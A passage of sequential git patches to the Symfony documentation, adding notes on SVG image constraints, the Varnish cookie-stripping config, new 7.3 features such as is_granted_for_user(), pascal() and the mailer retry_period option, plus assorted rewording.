+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +270,11 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +373,11 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +497,11 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -532,8 +557,9 @@ This message has no parameters.
 
 .. note::
 
-    SVG images sizes are not currently supported. Using size constraints with
-    these files will display this message.
+    Detecting the size of SVG images is not supported. This error message will
+    be displayed if you use any of the following options: ``allowLandscape``,
+    ``allowPortrait``, ``allowSquare``, ``maxRatio``, and ``minRatio``.
 
 .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php

From 3596f8c2b09f3380773a42a38b30f152fada315c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Jan 2025 12:59:47 +0100
Subject: [PATCH 5249/5766] Add ifFalse()

---
 components/config/definition.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 0e626931568..24c142ec5a5 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -815,6 +815,7 @@ A validation rule always has an "if" part. You can specify this part in
 the following ways:
 
 - ``ifTrue()``
+- ``ifFalse()``
 - ``ifString()``
 - ``ifNull()``
 - ``ifEmpty()``
@@ -833,6 +834,10 @@ A validation rule also requires a "then" part:
 Usually, "then" is a closure. Its return value will be used as a new value
 for the node, instead of the node's original value.
 
+.. versionadded:: 7.3
+
+    The ``ifFalse()`` method was introduced in Symfony 7.3.
+
 Configuring the Node Path Separator
 -----------------------------------
 

From 9b50440bfb2c1a2e247f0200f06531ce53fec30d Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Mon, 16 Dec 2024 21:33:32 +0100
Subject: [PATCH 5250/5766] Add info for essential cookies (such as REMEMBERME)

---
 http_cache/varnish.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 1bc77530c70..98f66ff1af1 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -70,21 +70,18 @@ into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-c
 Cookies created in JavaScript and used only in the frontend, e.g. when using
 Google Analytics, are nonetheless sent to the server. These cookies are not
 relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. You want to keep the
-session cookie, if there is one, and get rid of all other cookies so that pages
-are cached if there is no active session. Unless you changed the default
-configuration of PHP, your session cookie has the name ``PHPSESSID``:
+your Varnish cache to `clean the cookies header`_. The goal is to retain only essential cookies—such as session cookies—and remove all others. By doing this, pages can still be cached when there is no active session. If you are using PHP and have not changed its default configuration, the session cookie is typically named PHPSESSID. Additionally, if your application relies on other important cookies, such as a "REMEMBERME" cookie for "remember me" functionality or "trusted_device" for 2FA, these cookies should also be preserved.
 
 .. configuration-block::
 
     .. code-block:: varnish4
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
@@ -98,11 +95,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
     .. code-block:: varnish3
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 

From c6f8e11faa520a12e3ca3f9c3de68cc5d5294b2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2025 13:27:26 +0100
Subject: [PATCH 5251/5766] Minor tweaks

---
 http_cache/varnish.rst | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 98f66ff1af1..a9bb668c100 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -67,10 +67,18 @@ at least for some parts of the site, e.g. when using forms with
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
 
-Cookies created in JavaScript and used only in the frontend, e.g. when using
-Google Analytics, are nonetheless sent to the server. These cookies are not
-relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. The goal is to retain only essential cookies—such as session cookies—and remove all others. By doing this, pages can still be cached when there is no active session. If you are using PHP and have not changed its default configuration, the session cookie is typically named PHPSESSID. Additionally, if your application relies on other important cookies, such as a "REMEMBERME" cookie for "remember me" functionality or "trusted_device" for 2FA, these cookies should also be preserved.
+Cookies created in JavaScript and used only on the frontend, such as those from
+Google Analytics, are still sent to the server. These cookies are not relevant
+for backend processing and should not influence the caching logic. To ensure
+this, configure your Varnish cache to `clean the cookies header`_ by retaining
+only essential cookies (e.g., session cookies) and removing all others. This
+allows pages to be cached when there is no active session.
+
+If you are using PHP with its default configuration, the session cookie is
+typically named ``PHPSESSID``. Additionally, if your application depends on other
+critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>`
+functionality or a trusted device cookie for two-factor authentication, these
+cookies should also be preserved.
 
 .. configuration-block::
 

From 0008e5b1a76566acbdb0e6e4fd5e752a31950eea Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Jan 2025 13:34:31 +0100
Subject: [PATCH 5252/5766] Fix build

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 79bad3f2254..d684ba09ba7 100644
--- a/security.rst
+++ b/security.rst
@@ -2966,4 +2966,3 @@ Authorization (Denying Access)
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client
-.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php

From e1c23c76557c1bad82005f61effb685fba775c6c Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@symetricproductions.com>
Date: Thu, 2 Jan 2025 10:20:16 -0500
Subject: [PATCH 5253/5766] Add docs for is_granted_for_user() function

---
 reference/twig_reference.rst | 21 +++++++++++++++++++++
 security.rst                 | 11 +++++++++++
 2 files changed, 32 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d8b802dd73e..4485494bd9c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -174,6 +174,27 @@ Returns ``true`` if the current user has the given role.
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.
 
+is_granted_for_user
+~~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ is_granted_for_user(user, attribute, subject = null, field = null) }}
+
+``user``
+    **type**: ``object``
+``attribute``
+    **type**: ``string``
+``subject`` *(optional)*
+    **type**: ``object``
+``field`` *(optional)*
+    **type**: ``string``
+
+Returns ``true`` if the user is authorized for the specified attribute.
+
+Optionally, an object can be passed to be used by the voter. More information
+can be found in :ref:`security-template`.
+
 logout_path
 ~~~~~~~~~~~
 
diff --git a/security.rst b/security.rst
index 8026c63484b..7fe452e4fae 100644
--- a/security.rst
+++ b/security.rst
@@ -2549,6 +2549,17 @@ the built-in ``is_granted()`` helper function in any Twig template:
 
 .. _security-isgranted:
 
+Similarly, if you want to check if a specific user has a certain role, you can use
+the built-in ``is_granted_for_user()`` helper function:
+
+.. code-block:: html+twig
+
+    {% if is_granted_for_user(user, 'ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
+
+.. _security-isgrantedforuser:
+
 Securing other Services
 .......................
 

From ddf1ad3975a30bd1b3fce6528c4795646674508e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 13:17:39 +0100
Subject: [PATCH 5254/5766] Add the missing versionadded directive

---
 reference/twig_reference.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4485494bd9c..e01fa3f80e3 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -177,6 +177,10 @@ can be found in :ref:`security-template`.
 is_granted_for_user
 ~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 7.3
+
+    The ``is_granted_for_user()`` function was introduced in Symfony 7.3.
+
 .. code-block:: twig
 
     {{ is_granted_for_user(user, attribute, subject = null, field = null) }}

From c4e7c728d066864c3140c3c0da0ae1d3a3f5269b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 13:31:54 +0100
Subject: [PATCH 5255/5766] Reword

---
 validation/custom_constraint.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3fd1afbeddc..5f0740885d5 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -66,14 +66,15 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         }
     }
 
-Constraint with private properties
+Constraint with Private Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Constraints are cached for efficiency, but private properties are not supported
-by default.
+Constraints are cached for performance reasons. To achieve this, the base
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which
+excludes private properties of child classes.
 
-So if you're using private properties in your constraint, you must override default
-``__sleep`` method ::
+If your constraint defines private properties, you must explicitly include them
+in the ``__sleep()`` method to ensure they are serialized correctly::
 
     // src/Validator/ContainsAlphanumeric.php
     namespace App\Validator;

From effffa3bb0bcdbb7016d7bd415cd23c4f01fd948 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 14:55:02 +0100
Subject: [PATCH 5256/5766] Minor tweak

---
 frontend/asset_mapper.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 81e91c1fc9d..d68c77c0105 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -747,11 +747,9 @@ and which file extensions should be compressed:
 Now, when running the ``asset-map:compile`` command, all matching files will be
 compressed in the configured format and at the highest compression level. The
 compressed files are created with the same name as the original but with the
-``.br``, ``.zst``, or ``.gz`` extension appended. Web servers that support asset
-precompression will use the compressed assets automatically, so there's nothing
-else to configure in your server.
+``.br``, ``.zst``, or ``.gz`` extension appended.
 
-Finally, you need to configure your web server to serve the precompressed assets
+Then, you need to configure your web server to serve the precompressed assets
 instead of the original ones:
 
 .. configuration-block::

From 9b65586c1ee8ec15873d290b6eaa01e8bd2dc062 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 16:43:16 +0100
Subject: [PATCH 5257/5766] Fix build

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 990e1de9371..59da9e60568 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -66,7 +66,7 @@ Constraint with Private Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Constraints are cached for performance reasons. To achieve this, the base
-``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
 excludes private properties of child classes.
 
 If your constraint defines private properties, you must explicitly include them

From 1272701ec6e1d15e9bf21d6ab55445d6f68838ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 16:19:25 +0100
Subject: [PATCH 5258/5766] [DependencyInjection] Make #[AsTaggedItem]
 repeatable

---
 service_container/tags.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 270d6702f5a..bf50a191ba3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -1281,4 +1281,19 @@ be used directly on the class of the service you want to configure::
         // ...
     }
 
+You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the
+same service under different indexes:
+
+    #[AsTaggedItem(index: 'handler_one', priority: 5)]
+    #[AsTaggedItem(index: 'handler_two', priority: 20)]
+    class SomeService
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The feature to apply the ``#[AsTaggedItem]`` attribute multiple times was
+    introduced in Symfony 7.3.
+
 .. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion

From 9d4972de1863f3a028c6ce5d5e8d4ad2ac866201 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 16:52:36 +0100
Subject: [PATCH 5259/5766] Minor reword

---
 security.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index baa1a32a3a7..92367f29a88 100644
--- a/security.rst
+++ b/security.rst
@@ -2596,12 +2596,13 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
           // ...
       }
 
+
 .. tip::
 
-    Using ``isGranted()`` checks authorization against the currently logged in user. If you need to check
-    against a user that is not the one logged in or if checking authorization when the user session is not
-    available in a CLI context (example: message queue, cronjob) ``isGrantedForUser()`` can be used to set the
-    target user explicitly.
+    The ``isGranted()`` method checks authorization for the currently logged-in user.
+    If you need to check authorization for a different user or when the user session
+    is unavailable (e.g., in a CLI context such as a message queue or cron job), you
+    can use the ``isGrantedForUser()`` method to explicitly set the target user.
 
     .. versionadded:: 7.3
 

From 1afb8ebf3663a634108eac91b3d74ee20631d0af Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 15:57:26 +0100
Subject: [PATCH 5260/5766] [HttpFoundation] Generate url-safe hashes for
 signed urls

---
 routing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/routing.rst b/routing.rst
index ef3287dd1be..4ab0dce2a82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2802,6 +2802,11 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
+    ``+`` characters, as these may cause issues with certain clients.
+
 Troubleshooting
 ---------------
 

From 786f7981aca32b2d87d2f37a2363f17090ee5599 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 5 Jan 2025 21:51:27 +0100
Subject: [PATCH 5261/5766] drop parentheses at end of PHP function

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5f0740885d5..c2b4eff130a 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -70,7 +70,7 @@ Constraint with Private Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Constraints are cached for performance reasons. To achieve this, the base
-``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
 excludes private properties of child classes.
 
 If your constraint defines private properties, you must explicitly include them

From ab691630aaeeabe52ae7717be558faa560968169 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Jan 2025 09:11:25 +0100
Subject: [PATCH 5262/5766] [Yaml] Add support for dumping `null` as an empty
 value by using the `Yaml::DUMP_NULL_AS_EMPTY` flag

---
 components/yaml.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 30f715a7a24..58436adffc2 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -428,6 +428,16 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag::
     $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE);
     // foo: ~
 
+Another valid representation of the ``null`` value is an empty string. You can
+use the ``DUMP_NULL_AS_EMPTY`` flag to dump null values as empty strings::
+
+    $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_EMPTY);
+    // foo:
+
+.. versionadded:: 7.3
+
+    The ``DUMP_NULL_AS_EMPTY`` flag was introduced in Symfony 7.3.
+
 Dumping Numeric Keys as Strings
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e818e1261943048b09487f2fb624adbf4d8f1730 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 6 Jan 2025 15:40:44 +0100
Subject: [PATCH 5263/5766] Add data-controller="csrf-protection" to CSRF
 fields

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index ab4f48d6559..b725672dd5f 100644
--- a/security.rst
+++ b/security.rst
@@ -1028,7 +1028,7 @@ be ``authenticate``:
     <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
-        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+        <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}">
 
         <button type="submit">login</button>
     </form>

From 7d7e77cafbabba22b2443f4edc9fc13e3aba1bdf Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 6 Jan 2025 20:48:52 +0100
Subject: [PATCH 5264/5766] [PropertyInfo] Add
 PropertyDescriptionExtractorInterface to PhpStanExtractor

---
 components/property_info.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 2e1ee42dd3f..0ff1768441a 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -469,7 +469,18 @@ information from annotations of properties and methods, such as ``@var``,
     use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
+
+    // Type information.
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
+    // Description information.
+    $phpStanExtractor->getShortDescription($class, 'bar');
+    $phpStanExtractor->getLongDescription($class, 'bar');
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getShortDescription`
+    and :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getLongDescription`
+    methods were introduced in Symfony 7.3.
 
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~

From 6d16cd8b4e41fa0b1686c44edb93b1f77023cd6f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 6 Jan 2025 21:15:30 +0100
Subject: [PATCH 5265/5766] [Mailer] Add retry_period option for email
 transport

---
 mailer.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 4f0619147ad..8cc0d8641e3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -331,6 +331,17 @@ The failover-transport starts using the first transport and if it fails, it
 will retry the same delivery with the next transports until one of them succeeds
 (or until all of them fail).
 
+By default, the delivery will be retried 60 seconds after previous sending failed.
+You can change the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 Load Balancing
 ~~~~~~~~~~~~~~
 
@@ -351,6 +362,17 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
+By default, the delivery will be retried 60 seconds after previous sending failed.
+You can change the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 TLS Peer Verification
 ~~~~~~~~~~~~~~~~~~~~~
 

From 7d94c8e8fc64032721af5415d8a3c0fe018ecf71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 08:42:04 +0100
Subject: [PATCH 5266/5766] Minor reword

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8cc0d8641e3..4fd02eb84d7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -331,8 +331,8 @@ The failover-transport starts using the first transport and if it fails, it
 will retry the same delivery with the next transports until one of them succeeds
 (or until all of them fail).
 
-By default, the delivery will be retried 60 seconds after previous sending failed.
-You can change the retry period by setting the ``retry_period`` option in the DSN:
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
 
 .. code-block:: env
 
@@ -362,8 +362,8 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
-By default, the delivery will be retried 60 seconds after previous sending failed.
-You can change the retry period by setting the ``retry_period`` option in the DSN:
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
 
 .. code-block:: env
 

From 357a3e95c51192beb465e899114a1c161a12df22 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 08:56:55 +0100
Subject: [PATCH 5267/5766] [HttpFoundation] Mention issues with generated URL
 hashes

---
 routing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/routing.rst b/routing.rst
index 47fcfe8cb8f..a41b9bba6a6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2805,6 +2805,12 @@ service, which you can inject in your services or controllers::
     ``Symfony\Component\HttpKernel\UriSigner`` to
     ``Symfony\Component\HttpFoundation\UriSigner``.
 
+.. note::
+
+    The generated URI hashes may include the ``/`` and ``+`` characters, which
+    can cause issues with certain clients. If you encounter this problem, replace
+    them using the following: ``strtr($hash, ['/' => '_', '+' => '-'])``.
+
 Troubleshooting
 ---------------
 

From d1400d406951f664bd159e38eab33c5a93cb73e9 Mon Sep 17 00:00:00 2001
From: Iker Ibarguren <ikerib@users.noreply.github.com>
Date: Tue, 7 Jan 2025 09:51:40 +0100
Subject: [PATCH 5268/5766] Update notifier.rst

Brevo third-party service now supports webhooks.
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 36fbd5ada89..5b3f12a67fa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -76,7 +76,7 @@ Service
                     **Webhook support**: No
 `Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
                     **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
-                    **Webhook support**: No
+                    **Webhook support**: Yes
 `Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
                     **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
                     **Webhook support**: No

From e4f8ff86daa93eab17172a0fd001caccd5c93e55 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 12:04:07 +0100
Subject: [PATCH 5269/5766] Add a versionadded directive

---
 notifier.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 5b3f12a67fa..090f4db2007 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -236,6 +236,10 @@ Service
 
     The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
+
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since

From 17a46adc143905ee469e48118039c7e8f66760b5 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 5 Jan 2025 17:34:40 +0100
Subject: [PATCH 5270/5766] [Validator] [DateTime] Add ``format`` to error
 messages

---
 reference/constraints/DateTime.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index f6bcce7e5f5..ffcfbf55dda 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -99,11 +99,16 @@ This message is shown if the underlying data is not a valid datetime.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+================  ==============================================================
+Parameter         Description
+================  ==============================================================
+``{{ value }}``   The current (invalid) value
+``{{ label }}``   Corresponding form field label
+``{{ format }}``  The date format defined in ``format``
+================  ==============================================================
+
+.. versionadded:: 7.3
+
+    The ``{{ format }}`` parameter was introduced in Symfony 7.3.
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 45113124f7b2affdcceae4460f218b4efc740839 Mon Sep 17 00:00:00 2001
From: tcoch <tcochard@outlook.com>
Date: Mon, 6 Jan 2025 09:22:34 +0100
Subject: [PATCH 5271/5766] [String] Add `AbstractString::pascal()` method

---
 string.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/string.rst b/string.rst
index 43d3a236ab6..e51e7d1b502 100644
--- a/string.rst
+++ b/string.rst
@@ -234,8 +234,10 @@ Methods to Change Case
     u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz'
     // changes all graphemes/code points to kebab-case
     u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz'
-    // other cases can be achieved by chaining methods. E.g. PascalCase:
-    u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
+    // changes all graphemes/code points to PascalCase
+    u('Foo: Bar-baz.')->pascal(); // 'FooBarBaz'
+    // other cases can be achieved by chaining methods, e.g. :
+    u('Foo: Bar-baz.')->camel()->upper(); // 'FOOBARBAZ'
 
 .. versionadded:: 7.1
 
@@ -246,6 +248,10 @@ Methods to Change Case
 
     The ``kebab()`` method was introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The ``pascal()`` method was introduced in Symfony 7.3.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 

From 951f461e329cb0c8f275ca9100b2a5789844afec Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Tue, 7 Jan 2025 16:08:07 +0100
Subject: [PATCH 5272/5766] [TypeInfo] Add `accepts` method

---
 components/type_info.rst | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index e7062c5f249..70280d9a348 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -114,7 +114,7 @@ Advanced Usages
 The TypeInfo component provides various methods to manipulate and check types,
 depending on your needs.
 
-Checking a **simple type**::
+**Identify** a type::
 
     // define a simple integer type
     $type = Type::int();
